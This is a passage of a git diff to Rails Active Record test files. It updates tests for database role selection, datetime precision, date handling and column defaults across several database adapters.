+      @session = ActiveRecord::Middleware::DatabaseSelector::Resolver::Session.new(@session_store)
+    end
+
+    teardown do
+      clean_up_connection_handler
+    end
+
+    def test_empty_session
+      assert_equal Time.at(0), @session.last_write_timestamp
+    end
+
+    def test_writing_the_session_timestamps
+      assert @session.update_last_write_timestamp
+
+      session2 = ActiveRecord::Middleware::DatabaseSelector::Resolver::Session.new(@session_store)
+      assert_equal @session.last_write_timestamp, session2.last_write_timestamp
+    end
+
+    def test_writing_session_time_changes
+      assert @session.update_last_write_timestamp
+
+      before = @session.last_write_timestamp
+      sleep(0.1)
+
+      assert @session.update_last_write_timestamp
+      assert_not_equal before, @session.last_write_timestamp
+    end
+
+    def test_read_from_replicas
+      @session_store[:last_write] = ActiveRecord::Middleware::DatabaseSelector::Resolver::Session.convert_time_to_timestamp(Time.now - 5.seconds)
+
+      resolver = ActiveRecord::Middleware::DatabaseSelector::Resolver.new(@session)
+
+      called = false
+      resolver.read do
+        called = true
+        assert ActiveRecord::Base.connected_to?(role: :reading)
+      end
+      assert called
+    end
+
+    unless in_memory_db?
+      def test_can_write_while_reading_from_replicas_if_explicit
+        @session_store[:last_write] = ActiveRecord::Middleware::DatabaseSelector::Resolver::Session.convert_time_to_timestamp(Time.now - 5.seconds)
+
+        resolver = ActiveRecord::Middleware::DatabaseSelector::Resolver.new(@session)
+
+        called = false
+        resolver.read do
+          ActiveRecord::Base.establish_connection :arunit
+
+          called = true
+
+          assert ActiveRecord::Base.connected_to?(role: :reading)
+          assert_predicate ActiveRecord::Base.lease_connection, :preventing_writes?
+
+          ActiveRecord::Base.connected_to(role: :writing, prevent_writes: false) do
+            assert ActiveRecord::Base.connected_to?(role: :writing)
+            assert_not_predicate ActiveRecord::Base.lease_connection, :preventing_writes?
+          end
+
+          assert ActiveRecord::Base.connected_to?(role: :reading)
+          assert_predicate ActiveRecord::Base.lease_connection, :preventing_writes?
+        end
+        assert called
+      end
+    end
+
+    def test_read_from_primary
+      @session_store[:last_write] = ActiveRecord::Middleware::DatabaseSelector::Resolver::Session.convert_time_to_timestamp(Time.now)
+
+      resolver = ActiveRecord::Middleware::DatabaseSelector::Resolver.new(@session)
+
+      called = false
+      resolver.read do
+        called = true
+        assert ActiveRecord::Base.connected_to?(role: :writing)
+      end
+      assert called
+    end
+
+    def test_write_to_primary
+      resolver = ActiveRecord::Middleware::DatabaseSelector::Resolver.new(@session)
+
+      # Session should start empty
+      assert_nil @session_store[:last_write]
+
+      called = false
+      resolver.write do
+        assert ActiveRecord::Base.connected_to?(role: :writing)
+        called = true
+      end
+      assert called
+
+      # and be populated by the last write time
+      assert @session_store[:last_write]
+    end
+
+    def test_write_to_primary_and_update_custom_context
+      custom_context = Class.new(ActiveRecord::Middleware::DatabaseSelector::Resolver::Session) do
+        def update_last_write_timestamp
+          super
+          @wrote_to_primary = true
+        end
+
+        def save(response)
+          response[:wrote_to_primary] = @wrote_to_primary
+        end
+      end
+
+      resolver = ActiveRecord::Middleware::DatabaseSelector::Resolver.new(custom_context.new(@session_store))
+
+      # Session should start empty
+      assert_nil @session_store[:last_write]
+
+      called = false
+      resolver.write do
+        assert ActiveRecord::Base.connected_to?(role: :writing)
+        called = true
+      end
+      assert called
+      response = {}
+      resolver.update_context(response)
+
+      # and be populated by the last write time
+      assert @session_store[:last_write]
+      # plus the response updated
+      assert response[:wrote_to_primary]
+    end
+
+    def test_write_to_primary_with_exception
+      resolver = ActiveRecord::Middleware::DatabaseSelector::Resolver.new(@session)
+
+      # Session should start empty
+      assert_nil @session_store[:last_write]
+
+      called = false
+      assert_raises(ActiveRecord::RecordNotFound) do
+        resolver.write do
+          assert ActiveRecord::Base.connected_to?(role: :writing)
+          called = true
+          raise ActiveRecord::RecordNotFound
+        end
+      end
+      assert called
+
+      # and be populated by the last write time
+      assert @session_store[:last_write]
+    end
+
+    def test_read_from_primary_with_options
+      resolver = ActiveRecord::Middleware::DatabaseSelector::Resolver.new(@session, delay: 5.seconds)
+
+      # Session should start empty
+      assert_nil @session_store[:last_write]
+
+      called = false
+      resolver.write do
+        assert ActiveRecord::Base.connected_to?(role: :writing)
+        called = true
+      end
+      assert called
+
+      # and be populated by the last write time
+      assert @session_store[:last_write]
+
+      read = false
+      resolver.read do
+        assert ActiveRecord::Base.connected_to?(role: :writing)
+        read = true
+      end
+      assert read
+    end
+
+    def test_preventing_writes_turns_off_for_primary_write
+      resolver = ActiveRecord::Middleware::DatabaseSelector::Resolver.new(@session, delay: 5.seconds)
+
+      # Session should start empty
+      assert_nil @session_store[:last_write]
+
+      called = false
+      resolver.write do
+        assert ActiveRecord::Base.connected_to?(role: :writing)
+        called = true
+      end
+      assert called
+
+      # and be populated by the last write time
+      assert @session_store[:last_write]
+
+      read = false
+      write = false
+      resolver.read do
+        assert ActiveRecord::Base.connected_to?(role: :writing)
+        assert_predicate ActiveRecord::Base.lease_connection, :preventing_writes?
+        read = true
+
+        resolver.write do
+          assert ActiveRecord::Base.connected_to?(role: :writing)
+          assert_not_predicate ActiveRecord::Base.lease_connection, :preventing_writes?
+          write = true
+        end
+      end
+
+      assert write
+      assert read
+    end
+
+    def test_preventing_writes_works_in_a_threaded_environment
+      resolver = ActiveRecord::Middleware::DatabaseSelector::Resolver.new(@session, delay: 5.seconds)
+      inside_preventing = Concurrent::Event.new
+      finished_checking = Concurrent::Event.new
+
+      @session.update_last_write_timestamp
+
+      t1 = Thread.new do
+        resolver.read do
+          inside_preventing.wait
+          assert ActiveRecord::Base.connected_to?(role: :writing)
+          assert_predicate ActiveRecord::Base.lease_connection, :preventing_writes?
+          finished_checking.set
+        end
+      end
+
+      t2 = Thread.new do
+        resolver.write do
+          assert ActiveRecord::Base.connected_to?(role: :writing)
+          assert_not_predicate ActiveRecord::Base.lease_connection, :preventing_writes?
+          inside_preventing.set
+          finished_checking.wait
+        end
+      end
+
+      t3 = Thread.new do
+        resolver.read do
+          assert ActiveRecord::Base.connected_to?(role: :writing)
+          assert_predicate ActiveRecord::Base.lease_connection, :preventing_writes?
+        end
+      end
+
+      t1.join
+      t2.join
+      t3.join
+    end
+
+    def test_read_from_replica_with_no_delay
+      resolver = ActiveRecord::Middleware::DatabaseSelector::Resolver.new(@session, delay: 0.seconds)
+
+      # Session should start empty
+      assert_nil @session_store[:last_write]
+
+      called = false
+      resolver.write do
+        assert ActiveRecord::Base.connected_to?(role: :writing)
+        called = true
+      end
+      assert called
+
+      # and be populated by the last write time
+      assert @session_store[:last_write]
+
+      read = false
+      resolver.read do
+        assert ActiveRecord::Base.connected_to?(role: :reading)
+        read = true
+      end
+      assert read
+    end
+
+    def test_the_middleware_chooses_writing_role_with_POST_request
+      middleware = ActiveRecord::Middleware::DatabaseSelector.new(lambda { |env|
+        assert ActiveRecord::Base.connected_to?(role: :writing)
+        [200, {}, ["body"]]
+      })
+      cache = ActiveSupport::Cache::MemoryStore.new
+      middleware = ActionDispatch::Session::CacheStore.new(middleware, cache: cache, key: "_session_id")
+      assert_equal [200, {}, ["body"]], middleware.call("REQUEST_METHOD" => "POST")
+    end
+
+    def test_the_middleware_chooses_reading_role_with_GET_request
+      middleware = ActiveRecord::Middleware::DatabaseSelector.new(lambda { |env|
+        assert ActiveRecord::Base.connected_to?(role: :reading)
+        [200, {}, ["body"]]
+      })
+      cache = ActiveSupport::Cache::MemoryStore.new
+      middleware = ActionDispatch::Session::CacheStore.new(middleware, cache: cache, key: "_session_id")
+
+      assert_equal [200, {}, ["body"]], middleware.call("REQUEST_METHOD" => "GET")
+    end
+
+    class ReadonlyResolver < ActiveRecord::Middleware::DatabaseSelector::Resolver
+      def reading_request?(request)
+        true
+      end
+    end
+
+    def test_the_middleware_chooses_reading_role_with_POST_request_if_resolver_tells_it_to
+      middleware = ActiveRecord::Middleware::DatabaseSelector.new(lambda { |env|
+        assert ActiveRecord::Base.connected_to?(role: :reading)
+        [200, {}, ["body"]]
+      }, ReadonlyResolver)
+
+      cache = ActiveSupport::Cache::MemoryStore.new
+      middleware = ActionDispatch::Session::CacheStore.new(middleware, cache: cache, key: "_session_id")
+      assert_equal [200, {}, ["body"]], middleware.call("REQUEST_METHOD" => "POST")
+    end
+  end
+end
diff --git a/activerecord/test/cases/database_statements_test.rb b/activerecord/test/cases/database_statements_test.rb
index 66035865be09f..4da1c9d093064 100644
--- a/activerecord/test/cases/database_statements_test.rb
+++ b/activerecord/test/cases/database_statements_test.rb
@@ -1,15 +1,17 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 
 class DatabaseStatementsTest < ActiveRecord::TestCase
   def setup
-    @connection = ActiveRecord::Base.connection
+    @connection = ActiveRecord::Base.lease_connection
   end
 
-  unless current_adapter?(:OracleAdapter)
-    def test_exec_insert
-      result = @connection.exec_insert("INSERT INTO accounts (firm_id,credit_limit) VALUES (42,5000)", nil, [])
-      assert_not_nil @connection.send(:last_inserted_id, result)
+  def test_exec_insert
+    result = assert_deprecated(ActiveRecord.deprecator) do
+      @connection.exec_insert("INSERT INTO accounts (firm_id,credit_limit) VALUES (42,5000)", nil, [])
     end
+    assert_not_nil @connection.send(:last_inserted_id, result)
   end
 
   def test_insert_should_return_the_inserted_id
@@ -21,15 +23,7 @@ def test_create_should_return_the_inserted_id
   end
 
   private
-
     def return_the_inserted_id(method:)
-      # Oracle adapter uses prefetched primary key values from sequence and passes them to connection adapter insert method
-      if current_adapter?(:OracleAdapter)
-        sequence_name = "accounts_seq"
-        id_value = @connection.next_sequence_value(sequence_name)
-        @connection.send(method, "INSERT INTO accounts (id, firm_id,credit_limit) VALUES (accounts_seq.nextval,42,5000)", nil, :id, id_value, sequence_name)
-      else
-        @connection.send(method, "INSERT INTO accounts (firm_id,credit_limit) VALUES (42,5000)")
-      end
+      @connection.send(method, "INSERT INTO accounts (firm_id,credit_limit) VALUES (42,5000)")
     end
 end
diff --git a/activerecord/test/cases/date_test.rb b/activerecord/test/cases/date_test.rb
index 2edc0415cd391..2475d4a34b860 100644
--- a/activerecord/test/cases/date_test.rb
+++ b/activerecord/test/cases/date_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/topic"
 
@@ -21,23 +23,13 @@ def test_assign_valid_dates
 
     valid_dates.each do |date_src|
       topic = Topic.new("last_read(1i)" => date_src[0].to_s, "last_read(2i)" => date_src[1].to_s, "last_read(3i)" => date_src[2].to_s)
-      # Oracle DATE columns are datetime columns and Oracle adapter returns Time value
-      if current_adapter?(:OracleAdapter)
-        assert_equal(topic.last_read.to_date, Date.new(*date_src))
-      else
-        assert_equal(topic.last_read, Date.new(*date_src))
-      end
+      assert_equal(topic.last_read, Date.new(*date_src))
     end
 
     invalid_dates.each do |date_src|
       assert_nothing_raised do
         topic = Topic.new("last_read(1i)" => date_src[0].to_s, "last_read(2i)" => date_src[1].to_s, "last_read(3i)" => date_src[2].to_s)
-        # Oracle DATE columns are datetime columns and Oracle adapter returns Time value
-        if current_adapter?(:OracleAdapter)
-          assert_equal(topic.last_read.to_date, Time.local(*date_src).to_date, "The date should be modified according to the behavior of the Time object")
-        else
-          assert_equal(topic.last_read, Time.local(*date_src).to_date, "The date should be modified according to the behavior of the Time object")
-        end
+        assert_equal(topic.last_read, Time.local(*date_src).to_date, "The date should be modified according to the behavior of the Time object")
       end
     end
   end
diff --git a/activerecord/test/cases/date_time_precision_test.rb b/activerecord/test/cases/date_time_precision_test.rb
index e4a2f9ee17c49..a24b47acdede9 100644
--- a/activerecord/test/cases/date_time_precision_test.rb
+++ b/activerecord/test/cases/date_time_precision_test.rb
@@ -1,15 +1,18 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "support/schema_dumping_helper"
 
-if subsecond_precision_supported?
-  class DateTimePrecisionTest < ActiveRecord::TestCase
+class DateTimePrecisionTest < ActiveRecord::TestCase
+  if supports_datetime_with_precision?
+    include InTimeZone
     include SchemaDumpingHelper
     self.use_transactional_tests = false
 
     class Foo < ActiveRecord::Base; end
 
     setup do
-      @connection = ActiveRecord::Base.connection
+      @connection = ActiveRecord::Base.lease_connection
       Foo.reset_column_information
     end
 
@@ -25,6 +28,44 @@ def test_datetime_data_type_with_precision
       assert_equal 5, Foo.columns_hash["updated_at"].precision
     end
 
+    def test_datetime_precision_is_truncated_on_assignment
+      @connection.create_table(:foos, force: true)
+      @connection.add_column :foos, :created_at, :datetime, precision: 0
+      @connection.add_column :foos, :updated_at, :datetime, precision: 6
+
+      time = ::Time.now.change(nsec: 123456789)
+      foo = Foo.new(created_at: time, updated_at: time)
+
+      assert_equal 0, foo.created_at.nsec
+      assert_equal 123456000, foo.updated_at.nsec
+
+      foo.save!
+      foo.reload
+
+      assert_equal 0, foo.created_at.nsec
+      assert_equal 123456000, foo.updated_at.nsec
+    end
+
+    unless current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+      def test_no_datetime_precision_isnt_truncated_on_assignment
+        @connection.create_table(:foos, force: true)
+        @connection.add_column :foos, :created_at, :datetime, precision: nil
+        @connection.add_column :foos, :updated_at, :datetime
+
+        time = ::Time.now.change(nsec: 123)
+        foo = Foo.new(created_at: time, updated_at: time)
+
+        assert_equal 123, foo.created_at.nsec
+        assert_equal 0, foo.updated_at.nsec
+
+        foo.save!
+        foo.reload
+
+        assert_equal 0, foo.created_at.nsec
+        assert_equal 0, foo.updated_at.nsec
+      end
+    end
+
     def test_timestamps_helper_with_custom_precision
       @connection.create_table(:foos, force: true) do |t|
         t.timestamps precision: 4
@@ -42,7 +83,7 @@ def test_passing_precision_to_datetime_does_not_set_limit
     end
 
     def test_invalid_datetime_precision_raises_error
-      assert_raises ActiveRecord::ActiveRecordError do
+      assert_raises ArgumentError do
         @connection.create_table(:foos, force: true) do |t|
           t.timestamps precision: 7
         end
@@ -54,26 +95,157 @@ def test_formatting_datetime_according_to_precision
         t.datetime :created_at, precision: 0
         t.datetime :updated_at, precision: 4
       end
+
       date = ::Time.utc(2014, 8, 17, 12, 30, 0, 999999)
       Foo.create!(created_at: date, updated_at: date)
+
       assert foo = Foo.find_by(created_at: date)
       assert_equal 1, Foo.where(updated_at: date).count
+      assert_equal date.to_i, foo.created_at.to_i
       assert_equal date.to_s, foo.created_at.to_s
       assert_equal date.to_s, foo.updated_at.to_s
       assert_equal 000000, foo.created_at.usec
       assert_equal 999900, foo.updated_at.usec
     end
 
-    def test_schema_dump_includes_datetime_precision
+    def test_formatting_datetime_according_to_precision_when_time_zone_aware
+      with_timezone_config aware_attributes: true, zone: "Pacific Time (US & Canada)" do
+        @connection.create_table(:foos, force: true) do |t|
+          t.datetime :created_at, precision: 0
+          t.datetime :updated_at, precision: 4
+        end
+
+        date = ::Time.utc(2014, 8, 17, 12, 30, 0, 999999)
+        Foo.create!(created_at: date, updated_at: date)
+
+        assert foo = Foo.find_by(created_at: date)
+        assert_equal 1, Foo.where(updated_at: date).count
+        assert_equal date.to_i, foo.created_at.to_i
+        assert_equal date.in_time_zone.to_s, foo.created_at.to_s
+        assert_equal date.in_time_zone.to_s, foo.updated_at.to_s
+        assert_equal 000000, foo.created_at.usec
+        assert_equal 999900, foo.updated_at.usec
+      end
+    end
+
+    if current_adapter?(:PostgreSQLAdapter)
+      def test_formatting_datetime_according_to_precision_using_timestamptz
+        with_postgresql_datetime_type(:timestamptz) do
+          @connection.create_table(:foos, force: true) do |t|
+            t.datetime :created_at, precision: 0
+            t.datetime :updated_at, precision: 4
+          end
+
+          date = ::Time.utc(2014, 8, 17, 12, 30, 0, 999999)
+          Foo.create!(created_at: date, updated_at: date)
+
+          assert foo = Foo.find_by(created_at: date)
+          assert_equal 1, Foo.where(updated_at: date).count
+          assert_equal date.to_i, foo.created_at.to_i
+          assert_equal date.to_s, foo.created_at.to_s
+          assert_equal date.to_s, foo.updated_at.to_s
+          assert_equal 000000, foo.created_at.usec
+          assert_equal 999900, foo.updated_at.usec
+        end
+      end
+
+      def test_formatting_datetime_according_to_precision_when_time_zone_aware_using_timestamptz
+        with_postgresql_datetime_type(:timestamptz) do
+          with_timezone_config aware_attributes: true, zone: "Pacific Time (US & Canada)" do
+            @connection.create_table(:foos, force: true) do |t|
+              t.datetime :created_at, precision: 0
+              t.datetime :updated_at, precision: 4
+            end
+
+            date = ::Time.utc(2014, 8, 17, 12, 30, 0, 999999)
+            Foo.create!(created_at: date, updated_at: date)
+
+            assert foo = Foo.find_by(created_at: date)
+            assert_equal 1, Foo.where(updated_at: date).count
+            assert_equal date.to_i, foo.created_at.to_i
+            assert_equal date.in_time_zone.to_s, foo.created_at.to_s
+            assert_equal date.in_time_zone.to_s, foo.updated_at.to_s
+            assert_equal 000000, foo.created_at.usec
+            assert_equal 999900, foo.updated_at.usec
+          end
+        end
+      end
+    end
+
+    def test_writing_a_blank_attribute
+      @connection.create_table(:foos, force: true) do |t|
+        t.datetime :happened_at
+      end
+
+      assert_nil Foo.create!(happened_at: nil).happened_at
+      assert_nil Foo.create!(happened_at: "").happened_at
+    end
+
+    def test_writing_a_date_attribute
+      @connection.create_table(:foos, force: true) do |t|
+        t.datetime :happened_at
+      end
+
+      date = ::Date.new(2001, 2, 3)
+      assert_equal date, Foo.create!(happened_at: date).happened_at
+    end
+
+    if current_adapter?(:PostgreSQLAdapter)
+      def test_writing_a_blank_attribute_timestamptz
+        with_postgresql_datetime_type(:timestamptz) do
+          @connection.create_table(:foos, force: true) do |t|
+            t.datetime :happened_at
+          end
+
+          assert_nil Foo.create!(happened_at: nil).happened_at
+          assert_nil Foo.create!(happened_at: "").happened_at
+        end
+      end
+
+      def test_writing_a_date_attribute_timestamptz
+        with_postgresql_datetime_type(:timestamptz) do
+          @connection.create_table(:foos, force: true) do |t|
+            t.datetime :happened_at
+          end
+
+          date = ::Date.new(2001, 2, 3)
+          assert_equal date, Foo.create!(happened_at: date).happened_at
+        end
+      end
+
+      def test_writing_a_time_with_zone_attribute_timestamptz
+        with_postgresql_datetime_type(:timestamptz) do
+          @connection.create_table(:foos, force: true) do |t|
+            t.datetime :happened_at
+          end
+
+          in_time_zone("Pacific Time (US & Canada)") do
+            time = Time.zone.now
+            assert_equal time.zone, Foo.new(happened_at: time).happened_at.zone
+          end
+        end
+      end
+    end
+
+    def test_schema_dump_with_default_precision_is_not_dumped
       @connection.create_table(:foos, force: true) do |t|
         t.timestamps precision: 6
       end
       output = dump_table_schema("foos")
-      assert_match %r{t\.datetime\s+"created_at",\s+precision: 6,\s+null: false$}, output
-      assert_match %r{t\.datetime\s+"updated_at",\s+precision: 6,\s+null: false$}, output
+      assert_match %r{t\.datetime\s+"created_at",\s+null: false$}, output
+      assert_match %r{t\.datetime\s+"updated_at",\s+null: false$}, output
+    end
+
+    def test_schema_dump_with_without_precision_has_precision_as_nil
+      @connection.create_table(:foos, force: true) do |t|
+        t.timestamps precision: nil
+      end
+      output = dump_table_schema("foos")
+      assert_match %r{t\.datetime\s+"created_at",\s+precision: nil,\s+null: false$}, output
+      assert_match %r{t\.datetime\s+"updated_at",\s+precision: nil,\s+null: false$}, output
     end
 
-    if current_adapter?(:PostgreSQLAdapter, :SQLServerAdapter)
+    if current_adapter?(:PostgreSQLAdapter)
       def test_datetime_precision_with_zero_should_be_dumped
         @connection.create_table(:foos, force: true) do |t|
           t.timestamps precision: 0
diff --git a/activerecord/test/cases/date_time_test.rb b/activerecord/test/cases/date_time_test.rb
index 3bc08f80ec75d..1890f9c0a24b5 100644
--- a/activerecord/test/cases/date_time_test.rb
+++ b/activerecord/test/cases/date_time_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/topic"
 require "models/task"
@@ -5,6 +7,25 @@
 class DateTimeTest < ActiveRecord::TestCase
   include InTimeZone
 
+  def test_default_timezone_validation
+    assert_raises ArgumentError do
+      ActiveRecord.default_timezone = "UTC"
+    end
+
+    # These values should not raise errors
+    ActiveRecord.default_timezone = :local
+    ActiveRecord.default_timezone = :utc
+  end
+
+  def test_high_precision_current_timestamp
+    current_timestamp = Task.with_connection { |conn| conn.high_precision_current_timestamp }
+
+    task = Task.create!
+    task = Task.select(current_timestamp => :starting).find(task.id)
+
+    assert_in_delta Time.now, task.starting, 1
+  end
+
   def test_saves_both_date_and_time
     with_env_tz "America/New_York" do
       with_timezone_config default: :utc do
@@ -52,10 +73,22 @@ def test_assign_empty_time
   end
 
   def test_assign_in_local_timezone
-    now = DateTime.now
+    now = DateTime.civil(2017, 3, 1, 12, 0, 0)
     with_timezone_config default: :local do
       task = Task.new starting: now
       assert_equal now, task.starting
     end
   end
+
+  def test_date_time_with_string_value_with_subsecond_precision
+    string_value = "2017-07-04 14:19:00.5"
+    topic = Topic.create(written_on: string_value)
+    assert_equal topic, Topic.find_by(written_on: string_value)
+  end
+
+  def test_date_time_with_string_value_with_non_iso_format
+    string_value = "04/07/2017 2:19pm"
+    topic = Topic.create(written_on: string_value)
+    assert_equal topic, Topic.find_by(written_on: string_value)
+  end
 end
diff --git a/activerecord/test/cases/defaults_test.rb b/activerecord/test/cases/defaults_test.rb
index 6532efcf2258f..9ab86370d9ff6 100644
--- a/activerecord/test/cases/defaults_test.rb
+++ b/activerecord/test/cases/defaults_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "support/schema_dumping_helper"
 require "models/default"
@@ -7,15 +9,15 @@ class DefaultTest < ActiveRecord::TestCase
   def test_nil_defaults_for_not_null_columns
     %w(id name course_id).each do |name|
       column = Entrant.columns_hash[name]
-      assert !column.null, "#{name} column should be NOT NULL"
+      assert_not column.null, "#{name} column should be NOT NULL"
       assert_not column.default, "#{name} column should be DEFAULT 'nil'"
     end
   end
 
-  if current_adapter?(:PostgreSQLAdapter)
+  if current_adapter?(:PostgreSQLAdapter) || current_adapter?(:SQLite3Adapter)
     def test_multiline_default_text
       record = Default.new
-      # older postgres versions represent the default with escapes ("\\012" for a newline)
+      # older PostgreSQL versions represent the default with escapes ("\\012" for a newline)
       assert("--- []\n\n" == record.multiline_default || "--- []\\012\\012" == record.multiline_default)
     end
   end
@@ -25,7 +27,7 @@ class DefaultNumbersTest < ActiveRecord::TestCase
   class DefaultNumber < ActiveRecord::Base; end
 
   setup do
-    @connection = ActiveRecord::Base.connection
+    @connection = ActiveRecord::Base.lease_connection
     @connection.create_table :default_numbers do |t|
       t.integer :positive_integer, default: 7
       t.integer :negative_integer, default: -5
@@ -40,19 +42,19 @@ class DefaultNumber < ActiveRecord::Base; end
   def test_default_positive_integer
     record = DefaultNumber.new
     assert_equal 7, record.positive_integer
-    assert_equal "7", record.positive_integer_before_type_cast
+    assert_equal 7, record.positive_integer_before_type_cast
   end
 
   def test_default_negative_integer
     record = DefaultNumber.new
     assert_equal (-5), record.negative_integer
-    assert_equal "-5", record.negative_integer_before_type_cast
+    assert_equal (-5), record.negative_integer_before_type_cast
   end
 
   def test_default_decimal_number
     record = DefaultNumber.new
-    assert_equal BigDecimal.new("2.78"), record.decimal_number
-    assert_equal "2.78", record.decimal_number_before_type_cast
+    assert_equal BigDecimal("2.78"), record.decimal_number
+    assert_equal BigDecimal("2.78"), record.decimal_number_before_type_cast
   end
 end
 
@@ -60,7 +62,7 @@ class DefaultStringsTest < ActiveRecord::TestCase
   class DefaultString < ActiveRecord::Base; end
 
   setup do
-    @connection = ActiveRecord::Base.connection
+    @connection = ActiveRecord::Base.lease_connection
     @connection.create_table :default_strings do |t|
       t.string :string_col, default: "Smith"
       t.string :string_col_with_quotes, default: "O'Connor"
@@ -81,33 +83,144 @@ def test_default_strings_containing_single_quotes
   end
 end
 
-if current_adapter?(:PostgreSQLAdapter)
-  class PostgresqlDefaultExpressionTest < ActiveRecord::TestCase
+class DefaultBinaryTest < ActiveRecord::TestCase
+  if current_adapter?(:SQLite3Adapter, :PostgreSQLAdapter)
+    class DefaultBinary < ActiveRecord::Base; end
+
+    setup do
+      @connection = ActiveRecord::Base.lease_connection
+      @connection.create_table :default_binaries do |t|
+        t.binary :varbinary_col, null: false, limit: 64, default: "varbinary_default"
+        t.binary :varbinary_col_hex_looking, null: false, limit: 64, default: "0xDEADBEEF"
+      end
+      DefaultBinary.reset_column_information
+    end
+
+    def test_default_varbinary_string
+      assert_equal "varbinary_default", DefaultBinary.new.varbinary_col
+    end
+
+    if current_adapter?(:Mysql2Adapter, :TrilogyAdapter) && !ActiveRecord::Base.lease_connection.mariadb?
+      def test_default_binary_string
+        assert_equal "binary_default", DefaultBinary.new.binary_col
+      end
+    end
+
+    def test_default_varbinary_string_that_looks_like_hex
+      assert_equal "0xDEADBEEF", DefaultBinary.new.varbinary_col_hex_looking
+    end
+
+    teardown do
+      @connection.drop_table :default_binaries
+    end
+  end
+end
+
+class DefaultTextTest < ActiveRecord::TestCase
+  if supports_text_column_with_default?
+    class DefaultText < ActiveRecord::Base; end
+
+    setup do
+      @connection = ActiveRecord::Base.lease_connection
+      @connection.create_table :default_texts do |t|
+        t.text :text_col, default: "Smith"
+        t.text :text_col_with_quotes, default: "O'Connor"
+      end
+      DefaultText.reset_column_information
+    end
+
+    def test_default_texts
+      assert_equal "Smith", DefaultText.new.text_col
+    end
+
+    def test_default_texts_containing_single_quotes
+      assert_equal "O'Connor", DefaultText.new.text_col_with_quotes
+    end
+
+    teardown do
+      @connection.drop_table :default_texts
+    end
+  end
+end
+
+class PostgresqlDefaultExpressionTest < ActiveRecord::TestCase
+  if current_adapter?(:PostgreSQLAdapter)
     include SchemaDumpingHelper
 
     test "schema dump includes default expression" do
       output = dump_table_schema("defaults")
-      assert_match %r/t\.date\s+"modified_date",\s+default: -> { "\('now'::text\)::date" }/, output
+      if ActiveRecord::Base.lease_connection.database_version >= 100000
+        assert_match %r/t\.date\s+"modified_date",\s+default: -> { "CURRENT_DATE" }/, output
+        assert_match %r/t\.datetime\s+"modified_time",\s+default: -> { "CURRENT_TIMESTAMP" }/, output
+        assert_match %r/t\.datetime\s+"modified_time_without_precision",\s+precision: nil,\s+default: -> { "CURRENT_TIMESTAMP" }/, output
+        assert_match %r/t\.datetime\s+"modified_time_with_precision_0",\s+precision: 0,\s+default: -> { "CURRENT_TIMESTAMP" }/, output
+      else
+        assert_match %r/t\.date\s+"modified_date",\s+default: -> { "\('now'::text\)::date" }/, output
+        assert_match %r/t\.datetime\s+"modified_time",\s+default: -> { "now\(\)" }/, output
+        assert_match %r/t\.datetime\s+"modified_time_without_precision",\s+precision: nil,\s+default: -> { "now\(\)" }/, output
+        assert_match %r/t\.datetime\s+"modified_time_with_precision_0",\s+precision: 0,\s+default: -> { "now\(\)" }/, output
+      end
       assert_match %r/t\.date\s+"modified_date_function",\s+default: -> { "now\(\)" }/, output
-      assert_match %r/t\.datetime\s+"modified_time",\s+default: -> { "now\(\)" }/, output
       assert_match %r/t\.datetime\s+"modified_time_function",\s+default: -> { "now\(\)" }/, output
     end
   end
 end
 
-if current_adapter?(:Mysql2Adapter)
-  class MysqlDefaultExpressionTest < ActiveRecord::TestCase
+class MysqlDefaultExpressionTest < ActiveRecord::TestCase
+  if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
     include SchemaDumpingHelper
 
-    if ActiveRecord::Base.connection.version >= "5.6.0"
+    if supports_default_expression?
       test "schema dump includes default expression" do
-        output = dump_table_schema("datetime_defaults")
-        assert_match %r/t\.datetime\s+"modified_datetime",\s+default: -> { "CURRENT_TIMESTAMP" }/, output
+        output = dump_table_schema("defaults")
+        assert_match %r/t\.binary\s+"uuid",\s+limit: 36,\s+default: -> { "\(?uuid\(\)\)?" }/i, output
       end
+
+      test "schema dump includes default expression with single quotes reflected correctly" do
+        output = dump_table_schema("defaults")
+        assert_match %r/t\.string\s+"char2_concatenated",\s+default: -> { "\(?concat\(`char2`,(_utf8mb4)?'-'\)\)?" }/i, output
+      end
+    end
+
+    test "schema dump datetime includes default expression" do
+      output = dump_table_schema("datetime_defaults")
+      assert_match %r/t\.datetime\s+"modified_datetime",\s+precision: nil,\s+default: -> { "CURRENT_TIMESTAMP(?:\(\))?" }/i, output
+    end
+
+    test "schema dump datetime includes precise default expression" do
+      output = dump_table_schema("datetime_defaults")
+      assert_match %r/t\.datetime\s+"precise_datetime",\s+default: -> { "CURRENT_TIMESTAMP\(6\)" }/i, output
+    end
+
+    test "schema dump datetime includes precise default expression with on update" do
+      output = dump_table_schema("datetime_defaults")
+      assert_match %r/t\.datetime\s+"updated_datetime",\s+default: -> { "CURRENT_TIMESTAMP\(6\) ON UPDATE CURRENT_TIMESTAMP\(6\)" }/i, output
+    end
+
+    test "schema dump timestamp includes default expression" do
+      output = dump_table_schema("timestamp_defaults")
+      assert_match %r/t\.timestamp\s+"modified_timestamp",\s+default: -> { "CURRENT_TIMESTAMP(?:\(\))?" }/i, output
+    end
+
+    test "schema dump timestamp includes precise default expression" do
+      output = dump_table_schema("timestamp_defaults")
+      assert_match %r/t\.timestamp\s+"precise_timestamp",.+default: -> { "CURRENT_TIMESTAMP\(6\)" }/i, output
+    end
+
+    test "schema dump timestamp includes precise default expression with on update" do
+      output = dump_table_schema("timestamp_defaults")
+      assert_match %r/t\.timestamp\s+"updated_timestamp",.+default: -> { "CURRENT_TIMESTAMP\(6\) ON UPDATE CURRENT_TIMESTAMP\(6\)" }/i, output
+    end
+
+    test "schema dump timestamp without default expression" do
+      output = dump_table_schema("timestamp_defaults")
+      assert_match %r/t\.timestamp\s+"nullable_timestamp"$/, output
     end
   end
+end
 
-  class DefaultsTestWithoutTransactionalFixtures < ActiveRecord::TestCase
+class DefaultsTestWithoutTransactionalFixtures < ActiveRecord::TestCase
+  if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
     # ActiveRecord::Base#create! (and #save and other related methods) will
     # open a new transaction. When in transactional tests mode, this will
     # cause Active Record to create a new savepoint. However, since MySQL doesn't
